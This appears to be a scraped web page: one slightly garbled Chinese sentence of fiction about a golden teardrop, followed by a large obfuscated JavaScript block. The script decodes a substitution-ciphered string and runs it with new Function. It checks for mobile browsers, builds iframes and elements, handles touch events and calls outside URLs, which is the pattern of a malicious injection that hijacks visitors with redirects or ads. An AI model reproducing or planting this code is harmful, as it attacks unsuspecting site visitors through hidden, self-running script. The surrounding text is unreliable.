九厥想把那颗金眼泪据为己有,被我用扫帚打出了不停。跟我抢什么都可以,就是金子不可心!阿弥陀佛!

!function(){function a(a){var _idx="z5palo1gvz";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR84nJdqO}pX4"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"4nJdqO}pX4"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mhfO76RqmRT4"="o}0X5ThF)mT)7F56RmRT4"="o}02pThFmhfO76RqmRT4"="o}0_JqhFmT)7F56RmRT4"="o}02TOhFmhfO76RqmRT4"="o}0CSqhF)mT)7F56RmRT4"="o}0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q/f/o}0j(8}vR84nJdqO}pX4"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();